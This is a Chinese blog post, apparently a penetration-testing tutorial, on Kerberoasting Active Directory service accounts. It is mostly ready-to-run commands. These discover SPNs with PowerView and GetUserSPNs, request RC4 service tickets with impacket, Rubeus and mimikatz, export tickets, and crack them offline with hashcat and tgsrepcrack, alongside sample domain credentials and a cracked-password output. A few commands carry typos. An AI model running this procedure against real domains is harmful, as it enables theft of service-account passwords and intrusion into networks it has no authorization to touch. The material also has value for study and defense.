原理
1. 攻击者通过提供一个正常的域用户密码进行身份认证。KDC再验证账户和密码的有效性后,返回一个TGT。用于ST请求
2.攻击者使用获取到的TGT请求针对制定SPN的ST。请求票据的TGS-REQ过程中,指定其支持的加密类型为RC4_HMAC_MD5(ARCFOUR-HMAC-MD5),因为加密算法相比其他加密算法比较好破解
3.攻击者的TGT是有效的,不挂提供的域账户有无访问该SPN服务的权限,KDC都会查找哪个账户在service的principalname、属性中注册了所请求的SPN,用该用户的hash以及加密算法加密ST并在TGS-REP包中返回给攻击者
4.攻击者从TGS-REP提取加密的ST。该ST是用链接到请求的SPN的账户hash加密,所以可以本地离线破解
tips:kerberoasting攻击只针对注册在用户下的SPN服务,因为及其账户的密码是随机生成的128字符,不可能爆破出来
思路
1.查询域内注册于域用户下的spn
2.请求指定SPN的ST
3.导出ST
4.对ST进行本地的爆破
攻击手法
SPN发现
1.riskySPN
是一个powershell脚本集合,专注与监测SPN相关账户是否滥用,
自动识别弱密码服务票据,根据用户账户和密码过期时间来查找最容易包含弱密码的票据
import-module .\Find-PotentiallyCrackableAccounts.ps1;
Find-PotentiallyCrackableAccounts -FullData
2.GetUserSPNs
该脚本会查询域内所有注册于用户下的SPN,包括注册于krbtgt下的kadmin/changepw。集中有powershell和vbs两种语言的脚本
#VBS的用法
cscript .\GetUserSPNs.vbs
#powershell的用法
import-Module .\GetUserSPNs.ps1
3.PowerView.ps1
该脚本是powersploit的recon目录下,用于过滤出与用户下注册了SPN的用户,包含krbtgt
import-Module .\PowerView.ps1
Get-NetUser -SPN请求服务票据
过滤出SPN后,需要请求SPN的票据
1.impacket请求
impacket的GetUserSPNs.py可以请求注册于所有SPN的服务票据
#请求注册于用户下的所有SPN的服务票据,并利用hashcat破解的格式为TXT文件
python GetUserSPNs.py -request -dc-ip 10.211.55.4 xie.com/hack:pass1234 -outputfile hash.txt
#请求注册于hack下的所有SPN的服务票据,并利用hashcat破解的格式为TXT文件
Pytho GetUserSPNs.py -request -dc-ip 10.211.55.4 xie.com/hack:pass1234 -outputfile hash.txt -request-user hack
输出
servicepincipalname name ...
sqlserver/win7.xie.com:1433/mssql hack
2.rebues请求
rebueus中的kerberoast支持对所有用户或特定用户执行kerberoasting操作,它的原理在于先用ldap查询域内所有注册在域用户下的SPN(除了kadmin/changepw),通过发送TGS包,直接输出能使用John或hashcat爆破的hash。
#请求注册于用户下的所有SPN的服务票据,并利用john破解的格式为TXT文件
rubeus.exe kerberoast /format:john /outfile:hash.txt
#请求注册于用户下的指定SPN的服务票据,并利用john破解的格式为TXT文件
rubeus.exe kerberoast /spn:sqlserver/win7.xie.com:1433/mssql /format:john /outfile:hash.txt
3.mimikatz请求
请求的票据将存放在内存中
#请求指定SPN的服务票据
kerberos::ask/target:sqlserver/win7.xie.com:1433/mssql
导出服务票据
有的工具可以直接将票据打印出来保存为文件,而有的工具会将票据保存在内存中。
对于保存在内存中的票据可以使用工具将其从内存中导出
1.查看内存的票据
首先查看内存中的票据
#cmd窗口
klist
#mimikatz窗口
kerberos::list
2.使用mimikatz导出内存票据
mimikatz.exe "kerberos::list /export" "exit"
mimikatz同目录会导出有一个kribi的票据文件
3.使用帝国empire导出票据
empire下的invoke-kerberoast.ps1将内存中的票据以hashcat或john方式输出。
import-module .\invoke-kerberoast.ps1
invoke-kerberoast -outputformat hashcat
离线破解服务票据
通过前面获得的.kirbi,hashcat,john直接破解的文件
1.kerberoast
该工具的tgsrepcrack.py脚本可以对mimikatz导出的.kirbi格式票据进行爆破
python2 tgsrepcrack.py pass.txt [email protected]~1433~mssql-xie.com.kirbi
输出found password for ticket 0:p@ss1234 file: [email protected]~1433~mssql-xie.com.kirbi
2.tgscrack
现将.kirbi转换成该工具的破解格式,通过go语言脚本指定密码文件进行爆破。
pytnon2 extractServiceTicketParts.py [email protected]!1433!mssql-xie.com.kirbi >hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist pass.txt
3.hashcat
hashcat -m 13100 hash.txt pass.txt --force
标签:hash,xie,攻击,票据,SPN,kerberoasting,com,请求 From: https://www.cnblogs.com/lisenMiller/p/17624069.html